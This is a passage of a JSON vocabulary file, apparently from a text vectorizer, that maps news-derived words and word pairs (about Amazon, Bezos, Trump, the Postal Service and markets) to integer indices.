\"program isn\": 39446,\n  \"survive hurricane\": 39447,\n  \"political analysts\": 39448,\n  \"mourning declared\": 39449,\n  \"prohibited listing\": 39450,\n  \"timely cautionary\": 39451,\n  \"imira\": 39452,\n  \"trucker doesn\": 39453,\n  \"tra trump\": 39454,\n  \"norris\": 39455,\n  \"slate inactive\": 39456,\n  \"media organisation\": 39457,\n  \"waste pro\": 39458,\n  \"senior writer\": 39459,\n  \"team surfaced\": 39460,\n  \"football\": 39461,\n  \"33c\": 39462,\n  \"2020 race\": 39463,\n  \"valued\": 39464,\n  \"hops\": 39465,\n  \"2008 paper\": 39466,\n  \"policy work\": 39467,\n  \"emerald city\": 39468,\n  \"case according\": 39469,\n  \"make light\": 39470,\n  \"firedfbi director\": 39471,\n  \"armed forces\": 39472,\n  \"tunnels\": 39473,\n  \"helen\": 39474,\n  \"seller shutting\": 39475,\n  \"university schar\": 39476,\n  \"citing notable\": 39477,\n  \"eliminate multilateral\": 39478,\n  \"lic citing\": 39479,\n  \"specifying\": 39480,\n  \"stemmed\": 39481,\n  \"offline presence\": 39482,\n  \"chicken airs\": 39483,\n  \"ei\": 39484,\n  \"manhattan da\": 39485,\n  \"20th century\": 39486,\n  \"briefly following\": 39487,\n  \"michael horowitz\": 39488,\n  \"federation nrf\": 39489,\n  \"feigenholtz says\": 39490,\n  \"critical stories\": 39491,\n  \"definite\": 39492,\n  \"allies canada\": 39493,\n  \"blogs dnainfo\": 39494,\n  \"different beliefs\": 39495,\n  \"cities white\": 39496,\n  \"essentially trying\": 39497,\n  \"twitter meaning\": 39498,\n  \"yacht\": 39499,\n  \"744 shares\": 39500,\n  \"missourians choose\": 39501,\n  \"official apology\": 39502,\n  \"big fed\": 39503,\n  \"licensing\": 39504,\n  \"food budgets\": 39505,\n  \"public imagination\": 39506,\n  \"259 bought\": 39507,\n  \"line reported\": 39508,\n  \"attacks anniversary\": 39509,\n  \"howard marks\": 39510,\n  \"focus ahead\": 39511,\n  \"publish personal\": 39512,\n  \"people aim\": 39513,\n  \"repeatedly promised\": 39514,\n  \"aileen lee\": 39515,\n  \"starring tom\": 39516,\n  \"calculus coroners\": 39517,\n  \"activity huttenlocher\": 39518,\n  \"wields ig\": 39519,\n  \"550\": 39520,\n  \"boss unless\": 39521,\n  \"founding general\": 39522,\n  \"position saying\": 39523,\n  \"usps stopped\": 39524,\n  \"reason think\": 39525,\n  \"salaries amazon\": 39526,\n  \"campus outside\": 39527,\n  \"milestone soon\": 39528,\n  \"thisday\": 39529,\n  \"nominee kavanaugh\": 39530,\n  \"ubhi clearly\": 39531,\n  \"tips mediaite\": 39532,\n  \"harassment allegations\": 39533,\n  \"brexit woes\": 39534,\n  \"playvideo\": 39535,\n  \"trump statement\": 39536,\n  \"bring working\": 39537,\n  \"success thanks\": 39538,\n  \"local corporations\": 39539,\n  \"office led\": 39540,\n  \"semierect manhood\": 39541,\n  \"actual customers\": 39542,\n  \"basic backup\": 39543,\n  \"just astonishing\": 39544,\n  \"orwell writes\": 39545,\n  \"using google\": 39546,\n  \"lee owner\": 39547,\n  \"600s\": 39548,\n  \"did start\": 39549,\n  \"crowned emperor\": 39550,\n  \"presidents\": 39551,\n  \"ansel\": 39552,\n  \"latest salvo\": 39553,\n  \"videoplayer setplayerproperties\": 39554,\n  \"editors north\": 39555,\n  \"trump vowed\": 39556,\n  \"brenyah\": 39557,\n  \"journal lauren\": 39558,\n  \"c6 stopimmediatepropagation\": 39559,\n  \"cases reveling\": 39560,\n  \"kamlani\": 39561,\n  \"department decision\": 39562,\n  \"systems inside\": 39563,\n  \"corporate events\": 39564,\n  \"style holding\": 39565,\n  \"series touched\": 39566,\n  \"translate\": 39567,\n  \"turned best\": 39568,\n  \"inc_copyeditedflag\": 39569,\n  \"book dershowitz\": 39570,\n  \"guessing\": 39571,\n  \"content stock\": 39572,\n  \"ron desantis\": 39573,\n  \"held meeting\": 39574,\n  \"fashion line\": 39575,\n  \"prevention estimated\": 39576,\n  \"separate computer\": 39577,\n  \"crowded segment\": 39578,\n  \"outdoors amazon\": 39579,\n  \"impacting innovation\": 39580,\n  \"pays plenty\": 39581,\n  \"adam ozimek\": 39582,\n  \"separate network\": 39583,\n  \"president contention\": 39584,\n  \"forbes lists\": 39585,\n  \"contrast shadows\": 39586,\n  \"snail mail\": 39587,\n  \"wealth npr\": 39588,\n  \"week west\": 39589,\n  \"information gathered\": 39590,\n  \"gadgets gaming\": 39591,\n  \"collusion clinton\": 39592,\n  \"financially stable\": 39593,\n  \"photo ops\": 39594,\n  \"ronayne\": 39595,\n  \"ishares preferred\": 39596,\n  \"year granting\": 39597,\n  \"gao cites\": 39598,\n  \"clear sections\": 39599,\n  \"newman makes\": 39600,\n  \"kiar property\": 39601,\n  \"passport required\": 39602,\n  \"initiative known\": 39603,\n  \"scarcities\": 39604,\n  \"law violations\": 39605,\n  \"000 assistant\": 39606,\n  \"amazon vastly\": 39607,\n  \"whips\": 39608,\n  \"times reporting\": 39609,\n  \"manufacturers struggle\": 39610,\n  \"abortion questions\": 39611,\n  \"varivax\": 39612,\n  \"fuel stops\": 39613,\n  \"limited reach\": 39614,\n  \"finance accountants\": 39615,\n  \"awful aesthetic\": 39616,\n  \"antitrust merger\": 39617,\n  \"year holiday\": 39618,\n  \"rustbelt\": 39619,\n  \"consolidation ended\": 39620,\n  \"pivotal vote\": 39621,\n  \"hearing slated\": 39622,\n  \"watched matter\": 39623,\n  \"danza\": 39624,\n  \"affable\": 39625,\n  \"identifies faces\": 39626,\n  \"lavish new\": 39627,\n  \"trump jerry\": 39628,\n  \"distinctly shady\": 39629,\n  \"iii military\": 39630,\n  \"addition group\": 39631,\n  \"maxsa\": 39632,\n  \"amzn outpaces\": 39633,\n  \"severe criticism\": 39634,\n  \"aides carter\": 39635,\n  \"really scared\": 39636,\n  \"suspects kentucky\": 39637,\n  \"cracks research\": 39638,\n  \"cloud numbers\": 39639,\n  \"genres\": 39640,\n  \"downplay amazon\": 39641,\n  \"overnight similar\": 39642,\n  \"industry commerce\": 39643,\n  \"fan amazon\": 39644,\n  \"buy tells\": 39645,\n  \"weakness amazon\": 39646,\n  \"started having\": 39647,\n  \"amazon 194\": 39648,\n  \"volume outside\": 39649,\n  \"ultimately kill\": 39650,\n  \"chyna controversial\": 39651,\n  \"today slog\": 39652,\n  \"reklaitis\": 39653,\n  \"bezos emails\": 39654,\n  \"runs apiece\": 39655,\n  \"feel moved\": 39656,\n  \"luca bruno\": 39657,\n  \"lynch kayli\": 39658,\n  \"acclaimed performance\": 39659,\n  \"development department\": 39660,\n  \"software echoed\": 39661,\n  \"narrowly\": 39662,\n  \"true carell\": 39663,\n  \"happy family\": 39664,\n  \"lincicome international\": 39665,\n  \"hasn moved\": 39666,\n  \"cape cod\": 39667,\n  \"mday63\": 39668,\n  \"indication\": 39669,\n  \"lead gang\": 39670,\n  \"hk asiatatler\": 39671,\n  \"boy unlike\": 39672,\n  \"create headaches\": 39673,\n  \"company role\": 39674,\n  \"despite bezos\": 39675,\n  \"espinal mentioned\": 39676,\n  \"service president\": 39677,\n  \"wahshington\": 39678,\n  \"timely accurate\": 39679,\n  \"labor horror\": 39680,\n  \"featuring pretty\": 39681,\n  \"hargrove\": 39682,\n  \"loss 2018\": 39683,\n  \"chopra\": 39684,\n  \"abortion legality\": 39685,\n  \"postal banking\": 39686,\n  \"tariff policy\": 39687,\n  \"later read\": 39688,\n  \"force outlined\": 39689,\n  \"nature thanks\": 39690,\n  \"year keeping\": 39691,\n  \"annette bening\": 39692,\n  \"rent\": 39693,\n  \"concerns exacerbated\": 39694,\n  \"consider wayfair\": 39695,\n  \"everyman mnuchin\": 39696,\n  \"shares recovered\": 39697,\n  \"new law\": 39698,\n  \"reliable source\": 39699,\n  \"import costs\": 39700,\n  \"trump coined\": 39701,\n  \"reports coming\": 39702,\n  \"postal facility\": 39703,\n  \"federal judge\": 39704,\n  \"politician kind\": 39705,\n  \"simon miller\": 39706,\n  \"union just\": 39707,\n  \"trump seeks\": 39708,\n  \"narrow operating\": 39709,\n  \"completely transparent\": 39710,\n  \"amazon edged\": 39711,\n  \"environment published\": 39712,\n  \"showindex owlfirstitem\": 39713,\n  \"honour\": 39714,\n  \"ocean wide\": 39715,\n  \"jean paul\": 39716,\n  \"khan argues\": 39717,\n  \"rapping\": 39718,\n  \"say officials\": 39719,\n  \"bush\": 39720,\n  \"irregular dripping\": 39721,\n  \"held advanced\": 39722,\n  \"justices neil\": 39723,\n  \"chance newly\": 39724,\n  \"criticism recently\": 39725,\n  \"treasury wishes\": 39726,\n  \"incorporated ami\": 39727,\n  \"21st century\": 39728,\n  \"apartment\": 39729,\n  \"greeter position\": 39730,\n  \"donations \\u014228\": 39731,\n  \"epidemic called\": 39732,\n  \"kindle soon\": 39733,\n  \"multiple positive\": 39734,\n  \"decidedly different\": 39735,\n  \"selloff\": 39736,\n  \"model 3s\": 39737,\n  \"madrigal long\": 39738,\n  \"ambitious tv\": 39739,\n  \"castrating helpless\": 39740,\n  \"intractable\": 39741,\n  \"dubious milestone\": 39742,\n  \"bezos federal\": 39743,\n  \"cooke\": 39744,\n  \"twitter packages\": 39745,\n  \"close change\": 39746,\n  \"sophisticated ways\": 39747,\n  \"bank deal\": 39748,\n  \"running banks\": 39749,\n  \"taken office\": 39750,\n  \"firm armedia\": 39751,\n  \"episode host\": 39752,\n  \"215bn\": 39753,\n  \"hutchinson cancer\": 39754,\n  \"subsidies handed\": 39755,\n  \"continued don\": 39756,\n  \"swashbuckling\": 39757,\n  \"announcing updates\": 39758,\n  \"amicaali\": 39759,\n  \"reach stoking\": 39760,\n  \"new women\": 39761,\n  \"deal ocasio\": 39762,\n  \"content half\": 39763,\n  \"mcdonough\": 39764,\n  \"hour event\": 39765,\n  \"adjust\": 39766,\n  \"authorizations\": 39767,\n  \"lawyer received\": 39768,\n  \"losing 150\": 39769,\n  \"obit\": 39770,\n  \"expand unrestricted\": 39771,\n  \"lawfare\": 39772,\n  \"robust competition\": 39773,\n  \"constructively\": 39774,\n  \"tweet earlier\": 39775,\n  \"refreshed\": 39776,\n  \"loving women\": 39777,\n  \"root cause\": 39778,\n  \"property payments\": 39779,\n  \"financial point\": 39780,\n  \"england patriots\": 39781,\n  \"enlarge\": 39782,\n  \"dem donor\": 39783,\n  \"time months\": 39784,\n  \"cnet patrick\": 39785,\n  \"undermines confidence\": 39786,\n  \"amazon tim\": 39787,\n  \"washington business\": 39788,\n  \"nasdaq atvi\": 39789,\n  \"tail toronto\": 39790,\n  \"national journal\": 39791,\n  \"quick search\": 39792,\n  \"tebow\": 39793,\n  \"katopodis social\": 39794,\n  \"vast cloud\": 39795,\n  \"toddbishop toddbishop\": 39796,\n  \"allowances\": 39797,\n  \"big pay\": 39798,\n  \"left walks\": 39799,\n  \"impacted thecity\": 39800,\n  \"taken offense\": 39801,\n  \"split equally\": 39802,\n  \"beneficiaries\": 39803,\n  \"containing\": 39804,\n  \"dinner following\": 39805,\n  \"takes aim\": 39806,\n  \"says perry\": 39807,\n  \"published text\": 39808,\n  \"middle eastthe\": 39809,\n  \"graham states\": 39810,\n  \"council\": 39811,\n  \"diapers\": 39812,\n  \"reached earlier\": 39813,\n  \"nuggets\": 39814,\n  \"brokerage site\": 39815,\n  \"spends whopping\": 39816,\n  \"782 4368\": 39817,\n  \"2019 ami\": 39818,\n  \"rich girlfriend\": 39819,\n  \"etf called\": 39820,\n  \"vans source\": 39821,\n  \"st\": 39822,\n  \"pitch sheet\": 39823,\n  \"aiming\": 39824,\n  \"politics category\": 39825,\n  \"market commerce\": 39826,\n  \"public bezos\": 39827,\n  \"cox brands\": 39828,\n  \"delivering commercial\": 39829,\n  \"trump news\": 39830,\n  \"wood johnson\": 39831,\n  \"trump hinted\": 39832,\n  \"phoenix rising\": 39833,\n  \"perennial loss\": 39834,\n  \"jedi procurement\": 39835,\n  \"global comms\": 39836,\n  \"dethrone\": 39837,\n  \"reshuffle corporate\": 39838,\n  \"vermont department\": 39839,\n  \"extra charges\": 39840,\n  \"american illegal\": 39841,\n  \"common carrier\": 39842,\n  \"establish unemployment\": 39843,\n  \"affair lauren\": 39844,\n  \"energy billionaire\": 39845,\n  \"plans chip\": 39846,\n  \"update version\": 39847,\n  \"truck platooning\": 39848,\n  \"98th street\": 39849,\n  \"congressional spouse\": 39850,\n  \"oath\": 39851,\n  \"unilaterally allocate\": 39852,\n  \"withdrawing brazil\": 39853,\n  \"pensions accounting\": 39854,\n  \"china does\": 39855,\n  \"liberators\": 39856,\n  \"progressive amazon\": 39857,\n  \"forthe wall\": 39858,\n  \"features dysfunctional\": 39859,\n  \"introduce legislation\": 39860,\n  \"independents\": 39861,\n  \"bezos bezos\": 39862,\n  \"cancer deaths\": 39863,\n  \"jeremiah poff\": 39864,\n  \"olshan introduces\": 39865,\n  \"seattle travel\": 39866,\n  \"tercera\": 39867,\n  \"duffel\": 39868,\n  \"giant trump\": 39869,\n  \"dagger available\": 39870,\n  \"consistent similarity\": 39871,\n  \"growth analyst\": 39872,\n  \"q23\": 39873,\n  \"neighborhood home\": 39874,\n  \"solicited\": 39875,\n  \"pushing qanon\": 39876,\n  \"korea facebook\": 39877,\n  \"mcdlf nyse\": 39878,\n  \"ms collins\": 39879,\n  \"homes mobility\": 39880,\n  \"strategies writes\": 39881,\n  \"corporate america\": 39882,\n  \"alabama toxic\": 39883,\n  \"wapo gop\": 39884,\n  \"feel true\": 39885,\n  \"shutdown began\": 39886,\n  \"shark tank\": 39887,\n  \"party veer\": 39888,\n  \"groups remain\": 39889,\n  \"bulky\": 39890,\n  \"ceo leslie\": 39891,\n  \"michael caputo\": 39892,\n  \"unhealthy actors\": 39893,\n  \"usps reached\": 39894,\n  \"signed joint\": 39895,\n  \"equity shares\": 39896,\n  \"michiel huisman\": 39897,\n  \"return haralampus\": 39898,\n  \"hosting good\": 39899,\n  \"receipts stephen\": 39900,\n  \"derailments\": 39901,\n  \"introduced legislation\": 39902,\n  \"inexpensive delivery\": 39903,\n  \"time cnn\": 39904,\n  \"manufacturing\": 39905,\n  \"indelible\": 39906,\n  \"clear warning\": 39907,\n  \"poletti\": 39908,\n  \"monarchies\": 39909,\n  \"goodyear\": 39910,\n  \"increases state\": 39911,\n  \"showtime kidding\": 39912,\n  \"edelman public\": 39913,\n  \"agitators\": 39914,\n  \"2017 spokesperson\": 39915,\n  \"americans rep\": 39916,\n  \"enforced according\": 39917,\n  \"ubers ipo\": 39918,\n  \"nod\": 39919,\n  \"logic trump\": 39920,\n  \"perceived mistreatment\": 39921,\n  \"accelerating change\": 39922,\n  \"brings viacom\": 39923,\n  \"place turned\": 39924,\n  \"surveillance tactics\": 39925,\n  \"evening making\": 39926,\n  \"crudo\": 39927,\n  \"gou billions\": 39928,\n  \"fined apple\": 39929,\n  \"new partnership\": 39930,\n  \"explores girl\": 39931,\n  \"senior correspondent\": 39932,\n  \"claimed conservative\": 39933,\n  \"worldwide major\": 39934,\n  \"tax subsidies\": 39935,\n  \"famously rescinded\": 39936,\n  \"facetime bug\": 39937,\n  \"publishing goat\": 39938,\n  \"beijing ahead\": 39939,\n  \"vast pro\": 39940,\n  \"mnuchin trade\": 39941,\n  \"bloomberg\": 39942,\n  \"nationwide delivery\": 39943,\n  \"tools application\": 39944,\n  \"fast fwd\": 39945,\n  \"rising stock\": 39946,\n  \"turns betrayals\": 39947,\n  \"tickets mother\": 39948,\n  \"watch action\": 39949,\n  \"continuing\": 39950,\n  \"federal emergency\": 39951,\n  \"mood trump\": 39952,\n  \"shawna thomas\": 39953,\n  \"cost million\": 39954,\n  \"months want\": 39955,\n  \"shore guyana\": 39956,\n  \"release allen\": 39957,\n  \"lawrence nick\": 39958,\n  \"ethically\": 39959,\n  \"jabong\": 39960,\n  \"announces funding\": 39961,\n  \"merchandise including\": 39962,\n  \"xiaomi technews\": 39963,\n  \"brunette\": 39964,\n  \"taxes harming\": 39965,\n  \"state overnight\": 39966,\n  \"israel editorial\": 39967,\n  \"says joe\": 39968,\n  \"changed lot\": 39969,\n  \"lessened\": 39970,\n  \"income people\": 39971,\n  \"flake coons\": 39972,\n  \"realign antitrust\": 39973,\n  \"hashtag senddonaldtospace\": 39974,\n  \"business volume\": 39975,\n  \"phillips software\": 39976,\n  \"senator jessica\": 39977,\n  \"released publicly\": 39978,\n  \"big break\": 39979,\n  \"rowling harry\": 39980,\n  \"quantitative information\": 39981,\n  \"announcement details\": 39982,\n  \"read looks\": 39983,\n  \"anticipated surge\": 39984,\n  \"addiction cvs\": 39985,\n  \"ruler\": 39986,\n  \"mask left\": 39987,\n  \"including ceo\": 39988,\n  \"driving automobiles\": 39989,\n  \"supporters asking\": 39990,\n  \"war results\": 39991,\n  \"probably focus\": 39992,\n  \"away muttering\": 39993,\n  \"rubio fl\": 39994,\n  \"plays beatriz\": 39995,\n  \"reports bloomberg\": 39996,\n  \"online providers\": 39997,\n  \"carrying democratic\": 39998,\n  \"delivery war\": 39999,\n  \"miscarriages\": 40000,\n  \"alibaba price\": 40001,\n  \"army navy\": 40002,\n  \"unsubstantiated posted\": 40003,\n  \"development officer\": 40004,\n  \"collection warp\": 40005,\n  \"expected china\": 40006,\n  \"makes crystal\": 40007,\n  \"persecute\": 40008,\n  \"math testing\": 40009,\n  \"new buy\": 40010,\n  \"redeker\": 40011,\n  \"advertise products\": 40012,\n  \"bezos scoop\": 40013,\n  \"redefining\": 40014,\n  \"hume criticized\": 40015,\n  \"workshops factories\": 40016,\n  \"r4ee i9e\": 40017,\n  \"sales pack\": 40018,\n  \"doubtlessly counterfeit\": 40019,\n  \"brought close\": 40020,\n  \"prices rose\": 40021,\n  \"democrats truly\": 40022,\n  \"violations reuters\": 40023,\n  \"saw job\": 40024,\n  \"171 points\": 40025,\n  \"consumer behavior\": 40026,\n  \"activities condition\": 40027,\n  \"pirated films\": 40028,\n  \"daily walk\": 40029,\n  \"investigation southern\": 40030,\n  \"laughing pen\": 40031,\n  \"dinklage\": 40032,\n  \"issue hundreds\": 40033,\n  \"receive royalties\": 40034,\n  \"asia times\": 40035,\n  \"xlk\": 40036,\n  \"huge growth\": 40037,\n  \"deals cnn\": 40038,\n  \"dollar minimum\": 40039,\n  \"raise insurgency\": 40040,\n  \"world sanders\": 40041,\n  \"mystique\": 40042,\n  \"lewd photos\": 40043,\n  \"550 000\": 40044,\n  \"perfected addictive\": 40045,\n  \"mcclatchy covering\": 40046,\n  \"legal matter\": 40047,\n  \"counterparts\": 40048,\n  \"navy veteran\": 40049,\n  \"global resettlement\": 40050,\n  \"jr agrees\": 40051,\n  \"trump point\": 40052,\n  \"fact authorities\": 40053,\n  \"blind willingness\": 40054,\n  \"time yesterday\": 40055,\n  \"imprisonment\": 40056,\n  \"story ran\": 40057,\n  \"enormous advantage\": 40058,\n  \"conversation according\": 40059,\n  \"hbo add\": 40060,\n  \"make hard\": 40061,\n  \"mouthing\": 40062,\n  \"people wanting\": 40063,\n  \"customercare\": 40064,\n  \"year nebraska\": 40065,\n  \"include people\": 40066,\n  \"corporate elites\": 40067,\n  \"sweeping statements\": 40068,\n  \"mattis\": 40069,\n  \"freight delivery\": 40070,\n  \"lehrer asked\": 40071,\n  \"ongoing controversy\": 40072,\n  \"actual game\": 40073,\n  \"itep\": 40074,\n  \"sanchez shortly\": 40075,\n  \"llc broward\": 40076,\n  \"containers handled\": 40077,\n  \"adorable deplorable\": 40078,\n  \"detect pedestrians\": 40079,\n  \"salman accused\": 40080,\n  \"ingredients kathleen\": 40081,\n  \"adding yes\": 40082,\n  \"giants wo\": 40083,\n  \"shoplifters hirokazu\": 40084,\n  \"417\": 40085,\n  \"starring\": 40086,\n  \"baker hughes\": 40087,\n  \"recreation center\": 40088,\n  \"northern virgin\": 40089,\n  \"face climbing\": 40090,\n  \"ship products\": 40091,\n  \"amazon based\": 40092,\n  \"way arguably\": 40093,\n  \"various prosecutors\": 40094,\n  \"segment john\": 40095,\n  \"newspaper bezos\": 40096,\n  \"weakened dramatically\": 40097,\n  \"current shipping\": 40098,\n  \"relationships particularly\": 40099,\n  \"pharmaceutical company\": 40100,\n  \"increasingly expect\": 40101,\n  \"classic presidential\": 40102,\n  \"conservative jpmorgan\": 40103,\n  \"spirit bobby\": 40104,\n  \"portions redacted\": 40105,\n  \"valley upstate\": 40106,\n  \"gop congressman\": 40107,\n  \"anna fusco\": 40108,\n  \"busting\": 40109,\n  \"services etsy\": 40110,\n  \"kudlow told\": 40111,\n  \"comey based\": 40112,\n  \"best friends\": 40113,\n  \"scramble\": 40114,\n  \"violating anti\": 40115,\n  \"arrested cdc\": 40116,\n  \"rollout walmart\": 40117,\n  \"wayfair overturned\": 40118,\n  \"bail reform\": 40119,\n  \"elite police\": 40120,\n  \"furnishings markets\": 40121,\n  \"guan taidafeng\": 40122,\n  \"texas man\": 40123,\n  \"struggle\": 40124,\n  \"cohen nadia\": 40125,\n  \"powell sure\": 40126,\n  \"1993 jeff\": 40127,\n  \"lessons sisters\": 40128,\n  \"giant seattle\": 40129,\n  \"share partnership\": 40130,\n  \"deals shopping\": 40131,\n  \"underwriting public\": 40132,\n  \"layer editor\": 40133,\n  \"chopping\": 40134,\n  \"allen film\": 40135,\n  \"evolving relationship\": 40136,\n  \"private partnership\": 40137,\n  \"cases forbes\": 40138,\n  \"poorly paid\": 40139,\n  \"open leslie\": 40140,\n  \"a4ee u1\": 40141,\n  \"paul la\": 40142,\n  \"lesther alem\\u00e1n\": 40143,\n  \"dollars trump\": 40144,\n  \"eyster\": 40145,\n  \"bezos story\": 40146,\n  \"dispute centres\": 40147,\n  \"congressional investigators\": 40148,\n  \"brennan clearance\": 40149,\n  \"proceeds\": 40150,\n  \"neal katyal\": 40151,\n  \"worshipping\": 40152,\n  \"lianga surigao\": 40153,\n  \"subtle choices\": 40154,\n  \"virtual book\": 40155,\n  \"brat guide\": 40156,\n  \"significant driver\": 40157,\n  \"cristiano\": 40158,\n  \"settlements\": 40159,\n  \"busy denigrating\": 40160,\n  \"present cutting\": 40161,\n  \"strategy offering\": 40162,\n  \"senate wouldn\": 40163,\n  \"historic commitment\": 40164,\n  \"stories solely\": 40165,\n  \"environmental watchdog\": 40166,\n  \"future base\": 40167,\n  \"union rep\": 40168,\n  \"golf clubs\": 40169,\n  \"wola\": 40170,\n  \"expectations cisco\": 40171,\n  \"spam harold\": 40172,\n  \"highly dangerous\": 40173,\n  \"shows postal\": 40174,\n  \"hulu rent\": 40175,\n  \"minute walk\": 40176,\n  \"long freewheeling\": 40177,\n  \"year separately\": 40178,\n  \"says yasha\": 40179,\n  \"beats\": 40180,\n  \"insurmountable\": 40181,\n  \"properties including\": 40182,\n  \"virginia congresswoman\": 40183,\n  \"282\": 40184,\n  \"torel couldn\": 40185,\n  \"waisted claire\": 40186,\n  \"concern ferrari\": 40187,\n  \"scrambles\": 40188,\n  \"actually ended\": 40189,\n  \"time businesswoman\": 40190,\n  \"staying true\": 40191,\n  \"meantime amazon\": 40192,\n  \"mobile meal\": 40193,\n  \"remembered cbs\": 40194,\n  \"netflix barack\": 40195,\n  \"network news\": 40196,\n  \"aws regulatory\": 40197,\n  \"fuller hannibal\": 40198,\n  \"anymore steve\": 40199,\n  \"function tb\": 40200,\n  \"public utilities\": 40201,\n  \"sales figures\": 40202,\n  \"235\": 40203,\n  \"shinsuke nakamura\": 40204,\n  \"helped little\": 40205,\n  \"backlash minutes\": 40206,\n  \"ankle\": 40207,\n  \"ceo chairman\": 40208,\n  \"shaun king\": 40209,\n  \"scrutiny right\": 40210,\n  \"leave online\": 40211,\n  \"twitter rant\": 40212,\n  \"new white\": 40213,\n  \"tech related\": 40214,\n  \"reuters xi\": 40215,\n  \"deadly blue\": 40216,\n  \"dea\": 40217,\n  \"solid future\": 40218,\n  \"maduro ge\": 40219,\n  \"narrow passage\": 40220,\n  \"retailer shared\": 40221,\n  \"66billion\": 40222,\n  \"key markets\": 40223,\n  \"tools left\": 40224,\n  \"shares plunging\": 40225,\n  \"harm combat\": 40226,\n  \"seuss graduation\": 40227,\n  \"forgetting\": 40228,\n  \"release photo\": 40229,\n  \"peak hours\": 40230,\n  \"tabloid handling\": 40231,\n  \"reminded recently\": 40232,\n  \"middle market\": 40233,\n  \"service contract\": 40234,\n  \"baby monitor\": 40235,\n  \"listings effectively\": 40236,\n  \"steel skyscrapers\": 40237,\n  \"x3 suv\": 40238,\n  \"taken aug\": 40239,\n  \"lawrence lerner\": 40240,\n  \"invested tens\": 40241,\n  \"manchester dominated\": 40242,\n  \"president delays\": 40243,\n  \"market advantages\": 40244,\n  \"mention musk\": 40245,\n  \"courting talent\": 40246,\n  \"leanna garfield\": 40247,\n  \"pursuing delivery\": 40248,\n  \"op business\": 40249,\n  \"mimi\": 40250,\n  \"tower company\": 40251,\n  \"spicer account\": 40252,\n  \"mandatory requirements\": 40253,\n  \"long demanded\": 40254,\n  \"neat\": 40255,\n  \"sadie jones\": 40256,\n  \"countdown\": 40257,\n  \"2018 longtime\": 40258,\n  \"britain sun\": 40259,\n  \"strict a4ee\": 40260,\n  \"old daughter\": 40261,\n  \"2017 chip\": 40262,\n  \"customers quickly\": 40263,\n  \"usps requires\": 40264,\n  \"goodwin steve\": 40265,\n  \"employees subpar\": 40266,\n  \"hard term\": 40267,\n  \"corporate asset\": 40268,\n  \"member peter\": 40269,\n  \"mgmt nb\": 40270,\n  \"boat capsizes\": 40271,\n  \"tabloid produced\": 40272,\n  \"money host\": 40273,\n  \"american country\": 40274,\n  \"isn competitive\": 40275,\n  \"case makeup\": 40276,\n  \"famed investor\": 40277,\n  \"trending subjects\": 40278,\n  \"gold airs\": 40279,\n  \"despite ongoing\": 40280,\n  \"hardworking\": 40281,\n  \"bezo sic\": 40282,\n  \"farrow says\": 40283,\n  \"whitlock\": 40284,\n  \"soar thanks\": 40285,\n  \"brie larson\": 40286,\n  \"pai arrives\": 40287,\n  \"143 billion\": 40288,\n  \"pondering ways\": 40289,\n  \"withholds needed\": 40290,\n  \"season just\": 40291,\n  \"analyst pointed\": 40292,\n  \"resident attending\": 40293,\n  \"economic data\": 40294,\n  \"subcommittee members\": 40295,\n  \"price 2018\": 40296,\n  \"month delay\": 40297,\n  \"profit reuters\": 40298,\n  \"org new\": 40299,\n  \"lobby washington\": 40300,\n  \"intense condemnation\": 40301,\n  \"resembling\": 40302,\n  \"jeannie rhee\": 40303,\n  \"treatise\": 40304,\n  \"company focused\": 40305,\n  \"louis rams\": 40306,\n  \"late present\": 40307,\n  \"mother mia\": 40308,\n  \"search data\": 40309,\n  \"stock exchange\": 40310,\n  \"budapest\": 40311,\n  \"bolsonaro incendiary\": 40312,\n  \"costs approximately\": 40313,\n  \"janaki\": 40314,\n  \"counterfeit objects\": 40315,\n  \"protect obamacare\": 40316,\n  \"causing higher\": 40317,\n  \"parents await\": 40318,\n  \"vie\": 40319,\n  \"health space\": 40320,\n  \"huge money\": 40321,\n  \"stock canadian\": 40322,\n  \"environment environmental\": 40323,\n  \"anchored\": 40324,\n  \"obama demonizes\": 40325,\n  \"apple nasdaq\": 40326,\n  \"corporate relocation\": 40327,\n  \"multiple outdated\": 40328,\n  \"look bad\": 40329,\n  \"yeah felt\": 40330,\n  \"air time\": 40331,\n  \"memory\": 40332,\n  \"iso\": 40333,\n  \"ethics gawande\": 40334,\n  \"commerce site\": 40335,\n  \"stands\": 40336,\n  \"curriculum\": 40337,\n  \"impressive standard\": 40338,\n  \"restaurant owner\": 40339,\n  \"company poor\": 40340,\n  \"trump upped\": 40341,\n  \"america thanks\": 40342,\n  \"defending\": 40343,\n  \"tammy haddad\": 40344,\n  \"postal letters\": 40345,\n  \"senior politicians\": 40346,\n  \"faangs buy\": 40347,\n  \"scaretta enright\": 40348,\n  \"michael yang\": 40349,\n  \"remaining 400m\": 40350,\n  \"global conversation\": 40351,\n  \"talking pen\": 40352,\n  \"films removed\": 40353,\n  \"000 gallons\": 40354,\n  \"morning wake\": 40355,\n  \"reworking\": 40356,\n  \"shredded\": 40357,\n  \"brustein bloomberg\": 40358,\n  \"people worldwide\": 40359,\n  \"sender list\": 40360,\n  \"trump children\": 40361,\n  \"cause fuel\": 40362,\n  \"workers farmers\": 40363,\n  \"questioned advisers\": 40364,\n  \"related risks\": 40365,\n  \"trump 100\": 40366,\n  \"blows\": 40367,\n  \"trade deal\": 40368,\n  \"video true\": 40369,\n  \"largesse including\": 40370,\n  \"staunch ally\": 40371,\n  \"demographics\": 40372,\n  \"finalized\": 40373,\n  \"fortune jumped\": 40374,\n  \"times great\": 40375,\n  \"elections watch\": 40376,\n  \"creative agency\": 40377,\n  \"index gains\": 40378,\n  \"delivery systems\": 40379,\n  \"bavel\": 40380,\n  \"000 profit\": 40381,\n  \"intermediate\": 40382,\n  \"service raw\": 40383,\n  \"representative haaland\": 40384,\n  \"folklife festival\": 40385,\n  \"democratic donor\": 40386,\n  \"african nations\": 40387,\n  \"toddlewood\": 40388,\n  \"overstate\": 40389,\n  \"religious nature\": 40390,\n  \"agent noticed\": 40391,\n  \"pakistani military\": 40392,\n  \"sellers lobbying\": 40393,\n  \"beta kappa\": 40394,\n  \"people raise\": 40395,\n  \"angered trump\": 40396,\n  \"luverne alabama\": 40397,\n  \"seattle prince\": 40398,\n  \"technology platforms\": 40399,\n  \"attorney partner\": 40400,\n  \"wiki\": 40401,\n  \"political debate\": 40402,\n  \"world detailed\": 40403,\n  \"investors meaning\": 40404,\n  \"nonstop robocalls\": 40405,\n  \"vegetables peter\": 40406,\n  \"president visit\": 40407,\n  \"white shirt\": 40408,\n  \"principal scientist\": 40409,\n  \"explores young\": 40410,\n  \"initiative expanded\": 40411,\n  \"sixth lombardi\": 40412,\n  \"dub seattle\": 40413,\n  \"unseals hacking\": 40414,\n  \"tray according\": 